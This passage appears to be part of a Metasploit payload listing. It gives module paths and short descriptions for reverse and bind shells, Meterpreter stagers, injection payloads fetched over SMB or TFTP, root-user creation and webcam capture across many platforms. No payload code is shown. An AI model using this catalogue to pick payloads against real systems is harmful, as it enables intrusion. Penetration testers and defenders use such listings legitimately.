cmd/windows/smb/x64/shell/reverse_tcp_uuid                         Fetch and execute an x64 payload from an SMB server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/smb/x64/shell_bind_tcp                                 Fetch and execute an x64 payload from an SMB server. Listen for a connection and spawn a command shell (Windows x64)
cmd/windows/smb/x64/shell_reverse_tcp                              Fetch and execute an x64 payload from an SMB server. Connect back to attacker and spawn a command shell (Windows x64)
cmd/windows/smb/x64/vncinject/bind_ipv6_tcp                        Fetch and execute an x64 payload from an SMB server. Listen for an IPv6 connection (Windows x64)
cmd/windows/smb/x64/vncinject/bind_ipv6_tcp_uuid                   Fetch and execute an x64 payload from an SMB server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/smb/x64/vncinject/bind_named_pipe                      Fetch and execute an x64 payload from an SMB server. Listen for a pipe connection (Windows x64)
cmd/windows/smb/x64/vncinject/bind_tcp                             Fetch and execute an x64 payload from an SMB server. Listen for a connection (Windows x64)
cmd/windows/smb/x64/vncinject/bind_tcp_rc4                         Fetch and execute an x64 payload from an SMB server. Connect back to the attacker
cmd/windows/smb/x64/vncinject/bind_tcp_uuid                        Fetch and execute an x64 payload from an SMB server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/smb/x64/vncinject/reverse_http                         Fetch and execute an x64 payload from an SMB server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/smb/x64/vncinject/reverse_https                        Fetch and execute an x64 payload from an SMB server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/smb/x64/vncinject/reverse_tcp                          Fetch and execute an x64 payload from an SMB server. Connect back to the attacker (Windows x64)
cmd/windows/smb/x64/vncinject/reverse_tcp_rc4                      Fetch and execute an x64 payload from an SMB server. Connect back to the attacker
cmd/windows/smb/x64/vncinject/reverse_tcp_uuid                     Fetch and execute an x64 payload from an SMB server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/smb/x64/vncinject/reverse_winhttp                      Fetch and execute an x64 payload from an SMB server. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/smb/x64/vncinject/reverse_winhttps                     Fetch and execute an x64 payload from an SMB server. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/tftp/x64/custom/bind_ipv6_tcp                          Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Listen for an IPv6 connection (Windows x64)
cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid                     Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/custom/bind_named_pipe                        Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Listen for a pipe connection (Windows x64)
cmd/windows/tftp/x64/custom/bind_tcp                               Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Listen for a connection (Windows x64)
cmd/windows/tftp/x64/custom/bind_tcp_rc4                           Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Connect back to the attacker
cmd/windows/tftp/x64/custom/bind_tcp_uuid                          Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/custom/reverse_http                           Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/tftp/x64/custom/reverse_https                          Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/tftp/x64/custom/reverse_named_pipe                     Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Connect back to the attacker via a named pipe pivot
cmd/windows/tftp/x64/custom/reverse_tcp                            Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Connect back to the attacker (Windows x64)
cmd/windows/tftp/x64/custom/reverse_tcp_rc4                        Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Connect back to the attacker
cmd/windows/tftp/x64/custom/reverse_tcp_uuid                       Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/tftp/x64/custom/reverse_winhttp                        Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/tftp/x64/custom/reverse_winhttps                       Fetch and execute an x64 payload from a TFTP server. Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/tftp/x64/encrypted_shell/reverse_tcp                   Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (staged). Connect to MSF and read in stage
cmd/windows/tftp/x64/encrypted_shell_reverse_tcp                   Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and spawn an encrypted command shell
cmd/windows/tftp/x64/exec                                          Fetch and execute an x64 payload from a TFTP server. Execute an arbitrary command (Windows x64)
cmd/windows/tftp/x64/loadlibrary                                   Fetch and execute an x64 payload from a TFTP server. Load an arbitrary x64 library path
cmd/windows/tftp/x64/messagebox                                    Fetch and execute an x64 payload from a TFTP server. Spawn a dialog via MessageBox using a customizable title, text & icon
cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp                     Fetch and execute an x64 payload from a TFTP server. Listen for an IPv6 connection (Windows x64)
cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid                Fetch and execute an x64 payload from a TFTP server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/meterpreter/bind_named_pipe                   Fetch and execute an x64 payload from a TFTP server. Listen for a pipe connection (Windows x64)
cmd/windows/tftp/x64/meterpreter/bind_tcp                          Fetch and execute an x64 payload from a TFTP server. Listen for a connection (Windows x64)
cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4                      Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker
cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid                     Fetch and execute an x64 payload from a TFTP server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/meterpreter/reverse_http                      Fetch and execute an x64 payload from a TFTP server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/tftp/x64/meterpreter/reverse_https                     Fetch and execute an x64 payload from a TFTP server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/tftp/x64/meterpreter/reverse_named_pipe                Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker via a named pipe pivot
cmd/windows/tftp/x64/meterpreter/reverse_tcp                       Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker (Windows x64)
cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4                   Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker
cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid                  Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/tftp/x64/meterpreter/reverse_winhttp                   Fetch and execute an x64 payload from a TFTP server. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/tftp/x64/meterpreter/reverse_winhttps                  Fetch and execute an x64 payload from a TFTP server. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/tftp/x64/meterpreter_bind_named_pipe                   Fetch and execute an x64 payload from a TFTP server. Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/tftp/x64/meterpreter_bind_tcp                          Fetch and execute an x64 payload from a TFTP server. Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/tftp/x64/meterpreter_reverse_http                      Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/tftp/x64/meterpreter_reverse_https                     Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp                  Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/tftp/x64/meterpreter_reverse_tcp                       Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/tftp/x64/peinject/bind_ipv6_tcp                        Fetch and execute an x64 payload from a TFTP server. Listen for an IPv6 connection (Windows x64)
cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid                   Fetch and execute an x64 payload from a TFTP server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/peinject/bind_named_pipe                      Fetch and execute an x64 payload from a TFTP server. Listen for a pipe connection (Windows x64)
cmd/windows/tftp/x64/peinject/bind_tcp                             Fetch and execute an x64 payload from a TFTP server. Listen for a connection (Windows x64)
cmd/windows/tftp/x64/peinject/bind_tcp_rc4                         Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker
cmd/windows/tftp/x64/peinject/bind_tcp_uuid                        Fetch and execute an x64 payload from a TFTP server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/peinject/reverse_named_pipe                   Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker via a named pipe pivot
cmd/windows/tftp/x64/peinject/reverse_tcp                          Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker (Windows x64)
cmd/windows/tftp/x64/peinject/reverse_tcp_rc4                      Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker
cmd/windows/tftp/x64/peinject/reverse_tcp_uuid                     Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/tftp/x64/pingback_reverse_tcp                          Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and report UUID (Windows x64)
cmd/windows/tftp/x64/powershell_bind_tcp                           Fetch and execute an x64 payload from a TFTP server.
cmd/windows/tftp/x64/powershell_reverse_tcp                        Fetch and execute an x64 payload from a TFTP server.
cmd/windows/tftp/x64/powershell_reverse_tcp_ssl                    Fetch and execute an x64 payload from a TFTP server.
cmd/windows/tftp/x64/shell/bind_ipv6_tcp                           Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid                      Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/shell/bind_named_pipe                         Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
cmd/windows/tftp/x64/shell/bind_tcp                                Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
cmd/windows/tftp/x64/shell/bind_tcp_rc4                            Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/tftp/x64/shell/bind_tcp_uuid                           Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/shell/reverse_tcp                             Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
cmd/windows/tftp/x64/shell/reverse_tcp_rc4                         Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/tftp/x64/shell/reverse_tcp_uuid                        Fetch and execute an x64 payload from a TFTP server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/tftp/x64/shell_bind_tcp                                Fetch and execute an x64 payload from a TFTP server. Listen for a connection and spawn a command shell (Windows x64)
cmd/windows/tftp/x64/shell_reverse_tcp                             Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and spawn a command shell (Windows x64)
cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp                       Fetch and execute an x64 payload from a TFTP server. Listen for an IPv6 connection (Windows x64)
cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid                  Fetch and execute an x64 payload from a TFTP server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/vncinject/bind_named_pipe                     Fetch and execute an x64 payload from a TFTP server. Listen for a pipe connection (Windows x64)
cmd/windows/tftp/x64/vncinject/bind_tcp                            Fetch and execute an x64 payload from a TFTP server. Listen for a connection (Windows x64)
cmd/windows/tftp/x64/vncinject/bind_tcp_rc4                        Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker
cmd/windows/tftp/x64/vncinject/bind_tcp_uuid                       Fetch and execute an x64 payload from a TFTP server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/tftp/x64/vncinject/reverse_http                        Fetch and execute an x64 payload from a TFTP server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/tftp/x64/vncinject/reverse_https                       Fetch and execute an x64 payload from a TFTP server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/tftp/x64/vncinject/reverse_tcp                         Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker (Windows x64)
cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4                     Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker
cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid                    Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/tftp/x64/vncinject/reverse_winhttp                     Fetch and execute an x64 payload from a TFTP server. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/tftp/x64/vncinject/reverse_winhttps                    Fetch and execute an x64 payload from a TFTP server. Tunnel communication over HTTPS (Windows x64 winhttp)
firefox/exec                                                       This module runs a shell command on the target OS without touching the disk. On Windows, this command will flash the command prompt momentarily. This can be avoided by setting WSCRIPT to true, which drops a jscript "launcher" to disk that hides the prompt.
firefox/shell_bind_tcp                                             Creates an interactive shell via Javascript with access to Firefox's XPCOM API
firefox/shell_reverse_tcp                                          Creates an interactive shell via Javascript with access to Firefox's XPCOM API
generic/custom                                                     Use custom string or file as payload. Set either PAYLOADFILE or PAYLOADSTR.
generic/debug_trap                                                 Generate a debug trap in the target process
generic/shell_bind_aws_ssm                                         Creates an interactive shell using AWS SSM
generic/shell_bind_tcp                                             Listen for a connection and spawn a command shell
generic/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
generic/ssh/interact                                               Interacts with a shell on an established SSH connection
generic/tight_loop                                                 Generate a tight loop in the target process
java/jsp_shell_bind_tcp                                            Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp                                         Connect back to attacker and spawn a command shell
java/meterpreter/bind_tcp                                          Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http                                      Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https                                     Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp                                       Run a meterpreter server in Java. Connect back stager
java/shell/bind_tcp                                                Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection
java/shell/reverse_tcp                                             Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager
java/shell_reverse_tcp                                             Connect back to attacker and spawn a command shell
linux/aarch64/meterpreter/reverse_tcp                              Inject the mettle server payload (staged). Connect back to the attacker
linux/aarch64/meterpreter_reverse_http                             Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_https                            Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_tcp                              Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/shell/reverse_tcp                                    dup2 socket in x12, then execve. Connect back to the attacker
linux/aarch64/shell_reverse_tcp                                    Connect back to attacker and spawn a command shell
linux/armbe/meterpreter_reverse_http                               Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_https                              Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_tcp                                Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/shell_bind_tcp                                         Listen for a connection and spawn a command shell
linux/armle/adduser                                                Create a new user with UID 0
linux/armle/exec                                                   Execute an arbitrary command
linux/armle/meterpreter/bind_tcp                                   Inject the mettle server payload (staged). Listen for a connection
linux/armle/meterpreter/reverse_tcp                                Inject the mettle server payload (staged). Connect back to the attacker
linux/armle/meterpreter_reverse_http                               Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_https                              Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_tcp                                Run the Meterpreter / Mettle server payload (stageless)
linux/armle/shell/bind_tcp                                         dup2 socket in r12, then execve. Listen for a connection
linux/armle/shell/reverse_tcp                                      dup2 socket in r12, then execve. Connect back to the attacker
linux/armle/shell_bind_tcp                                         Connect to target and spawn a command shell
linux/armle/shell_reverse_tcp                                      Connect back to attacker and spawn a command shell
linux/mips64/meterpreter_reverse_http                              Run the Meterpreter / Mettle server payload (stageless)
linux/mips64/meterpreter_reverse_https                             Run the Meterpreter / Mettle server payload (stageless)
linux/mips64/meterpreter_reverse_tcp                               Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/exec                                                  A very small shellcode for executing commands. This module is sometimes helpful for testing purposes.
linux/mipsbe/meterpreter/reverse_tcp                               Inject the mettle server payload (staged). Connect back to the attacker
linux/mipsbe/meterpreter_reverse_http                              Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/meterpreter_reverse_https                             Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/meterpreter_reverse_tcp                               Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/reboot                                                A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes or executing other payloads that rely on initial startup procedures.
linux/mipsbe/shell/reverse_tcp                                     Spawn a command shell (staged). Connect back to the attacker
linux/mipsbe/shell_bind_tcp                                        Listen for a connection and spawn a command shell
linux/mipsbe/shell_reverse_tcp                                     Connect back to attacker and spawn a command shell
linux/mipsle/exec                                                  A very small shellcode for executing commands. This module is sometimes helpful for testing purposes as well as on targets with extremely limited buffer space.
linux/mipsle/meterpreter/reverse_tcp                               Inject the mettle server payload (staged). Connect back to the attacker
linux/mipsle/meterpreter_reverse_http                              Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_https                             Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_tcp                               Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/reboot                                                A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes.
linux/mipsle/shell/reverse_tcp                                     Spawn a command shell (staged). Connect back to the attacker
linux/mipsle/shell_bind_tcp                                        Listen for a connection and spawn a command shell
linux/mipsle/shell_reverse_tcp                                     Connect back to attacker and spawn a command shell
linux/ppc/meterpreter_reverse_http                                 Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/meterpreter_reverse_https                                Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/meterpreter_reverse_tcp                                  Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/shell_bind_tcp                                           Listen for a connection and spawn a command shell
linux/ppc/shell_find_port                                          Spawn a shell on an established connection
linux/ppc/shell_reverse_tcp                                        Connect back to attacker and spawn a command shell
linux/ppc64/shell_bind_tcp                                         Listen for a connection and spawn a command shell
linux/ppc64/shell_find_port                                        Spawn a shell on an established connection
linux/ppc64/shell_reverse_tcp                                      Connect back to attacker and spawn a command shell
linux/ppc64le/meterpreter_reverse_http                             Run the Meterpreter / Mettle server payload (stageless)
linux/ppc64le/meterpreter_reverse_https                            Run the Meterpreter / Mettle server payload (stageless)
linux/ppc64le/meterpreter_reverse_tcp                              Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_http                           Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_https                          Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_tcp                            Run the Meterpreter / Mettle server payload (stageless)
linux/riscv32le/exec                                               Execute an arbitrary command
linux/riscv32le/reboot                                             A very small shellcode for rebooting the system using the reboot syscall. This payload is sometimes helpful for testing purposes.
linux/riscv64le/exec                                               Execute an arbitrary command
linux/riscv64le/reboot                                             A very small shellcode for rebooting the system using the reboot syscall. This payload is sometimes helpful for testing purposes.
linux/x64/exec                                                     Execute an arbitrary command or just a /bin/sh shell
linux/x64/meterpreter/bind_tcp                                     Inject the mettle server payload (staged). Listen for a connection
linux/x64/meterpreter/reverse_sctp                                 Inject the mettle server payload (staged). Connect back to the attacker
linux/x64/meterpreter/reverse_tcp                                  Inject the mettle server payload (staged). Connect back to the attacker
linux/x64/meterpreter_reverse_http                                 Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter_reverse_https                                Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter_reverse_tcp                                  Run the Meterpreter / Mettle server payload (stageless)
linux/x64/pingback_bind_tcp                                        Accept a connection from attacker and report UUID (Linux x64)
linux/x64/pingback_reverse_tcp                                     Connect back to attacker and report UUID (Linux x64)
linux/x64/shell/bind_tcp                                           Spawn a command shell (staged). Listen for a connection
linux/x64/shell/reverse_sctp                                       Spawn a command shell (staged). Connect back to the attacker
linux/x64/shell/reverse_tcp                                        Spawn a command shell (staged). Connect back to the attacker
linux/x64/shell_bind_ipv6_tcp                                      Listen for an IPv6 connection and spawn a command shell
linux/x64/shell_bind_tcp                                           Listen for a connection and spawn a command shell
linux/x64/shell_bind_tcp_random_port                               Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x64/shell_find_port                                          Spawn a shell on an established connection
linux/x64/shell_reverse_ipv6_tcp                                   Connect back to attacker and spawn a command shell over IPv6
linux/x64/shell_reverse_tcp                                        Connect back to attacker and spawn a command shell
linux/x86/adduser                                                  Create a new user with UID 0
linux/x86/chmod                                                    Runs chmod on specified file with specified mode
linux/x86/exec                                                     Execute an arbitrary command or just a /bin/sh shell
linux/x86/meterpreter/bind_ipv6_tcp                                Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid                           Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp                                Inject the mettle server payload (staged). Listen for a connection
linux/x86/meterpreter/bind_tcp                                     Inject the mettle server payload (staged). Listen for a connection (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid                                Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag                                     Inject the mettle server payload (staged). Use an established connection
linux/x86/meterpreter/reverse_ipv6_tcp                             Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp                             Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp                                  Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid                             Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_http                                 Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_https                                Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_tcp                                  Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_bind_tcp                                          Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp                                       Stub payload for interacting with a Meterpreter Service
linux/x86/read_file                                                Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp                                      Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid                                 Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp                                      Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp                                           Spawn a command shell (staged). Listen for a connection (Linux x86)
linux/x86/shell/bind_tcp_uuid                                      Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/shell/find_tag                                           Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp                                   Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp                                   Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp                                        Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid                                   Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp                                      Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp                                           Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port                               Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port                                          Spawn a shell on an established connection
linux/x86/shell_find_tag                                           Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp                                        Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6                                   Connect back to attacker and spawn a command shell over IPv6
linux/zarch/meterpreter_reverse_http                               Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_https                              Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_tcp                                Run the Meterpreter / Mettle server payload (stageless)
mainframe/shell_reverse_tcp                                        Listen for a connection and spawn a command shell. This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.
multi/meterpreter/reverse_http                                     Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTP
multi/meterpreter/reverse_https                                    Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTPS
netware/shell/reverse_tcp                                          Connect to the NetWare console (staged). Connect back to the attacker
nodejs/shell_bind_tcp                                              Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp                                           Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp_ssl                                       Creates an interactive shell via nodejs, uses SSL
osx/aarch64/exec                                                   Execute an arbitrary command
osx/aarch64/meterpreter/reverse_tcp                                Inject the mettle server payload (staged). Connect back to the attacker
osx/aarch64/meterpreter_reverse_http                               Run the Meterpreter / Mettle server payload (stageless)
osx/aarch64/meterpreter_reverse_https                              Run the Meterpreter / Mettle server payload (stageless)
osx/aarch64/meterpreter_reverse_tcp                                Run the Meterpreter / Mettle server payload (stageless)
osx/aarch64/shell_bind_tcp                                         Bind an arbitrary command to an arbitrary port
osx/aarch64/shell_reverse_tcp                                      Connect back to attacker and spawn a command shell
osx/armle/execute/bind_tcp                                         Spawn a command shell (staged). Listen for a connection
osx/armle/execute/reverse_tcp                                      Spawn a command shell (staged). Connect back to the attacker
osx/armle/shell/bind_tcp                                           Spawn a command shell (staged). Listen for a connection
osx/armle/shell/reverse_tcp                                        Spawn a command shell (staged). Connect back to the attacker
osx/armle/shell_bind_tcp                                           Listen for a connection and spawn a command shell
osx/armle/shell_reverse_tcp                                        Connect back to attacker and spawn a command shell
osx/armle/vibrate                                                  Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded. Based on work by Charlie Miller <cmiller[at]securityevaluators.com>.
osx/ppc/shell/bind_tcp                                             Spawn a command shell (staged). Listen for a connection
osx/ppc/shell/find_tag                                             Spawn a command shell (staged). Use an established connection
osx/ppc/shell/reverse_tcp                                          Spawn a command shell (staged). Connect back to the attacker
osx/ppc/shell_bind_tcp                                             Listen for a connection and spawn a command shell
osx/ppc/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
osx/x64/dupandexecve/bind_tcp                                      dup2 socket in edi, then execve. Listen, read length, read buffer, execute
osx/x64/dupandexecve/reverse_tcp                                   dup2 socket in edi, then execve. Connect, read length, read buffer, execute
osx/x64/dupandexecve/reverse_tcp_uuid                              dup2 socket in edi, then execve. Connect back to the attacker with UUID Support (OSX x64)
osx/x64/exec                                                       Execute an arbitrary command
osx/x64/meterpreter/bind_tcp                                       Inject the mettle server payload (staged). Listen, read length, read buffer, execute
osx/x64/meterpreter/reverse_tcp                                    Inject the mettle server payload (staged). Connect, read length, read buffer, execute
osx/x64/meterpreter/reverse_tcp_uuid                               Inject the mettle server payload (staged). Connect back to the attacker with UUID Support (OSX x64)
osx/x64/meterpreter_reverse_http                                   Run the Meterpreter / Mettle server payload (stageless)
osx/x64/meterpreter_reverse_https                                  Run the Meterpreter / Mettle server payload (stageless)
osx/x64/meterpreter_reverse_tcp                                    Run the Meterpreter / Mettle server payload (stageless)
osx/x64/say                                                        Say an arbitrary string outloud using Mac OS X text2speech
osx/x64/shell_bind_tcp                                             Bind an arbitrary command to an arbitrary port
osx/x64/shell_find_tag                                             Spawn a shell on an established connection (proxy/nat safe)
osx/x64/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
osx/x86/bundleinject/bind_tcp                                      Inject a custom Mach-O bundle into the exploited process. Listen, read length, read buffer, execute
osx/x86/bundleinject/reverse_tcp                                   Inject a custom Mach-O bundle into the exploited process. Connect, read length, read buffer, execute
osx/x86/exec                                                       Execute an arbitrary command
osx/x86/isight/bind_tcp                                            Inject a Mach-O bundle to capture a photo from the iSight (staged). Listen, read length, read buffer, execute
osx/x86/isight/reverse_tcp                                         Inject a Mach-O bundle to capture a photo from the iSight (staged). Connect, read length, read buffer, execute
osx/x86/shell_bind_tcp                                             Listen for a connection and spawn a command shell
osx/x86/shell_find_port                                            Spawn a shell on an established connection
osx/x86/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
osx/x86/vforkshell/bind_tcp                                        Call vfork() if necessary and spawn a command shell (staged). Listen, read length, read buffer, execute
osx/x86/vforkshell/reverse_tcp                                     Call vfork() if necessary and spawn a command shell (staged). Connect, read length, read buffer, execute
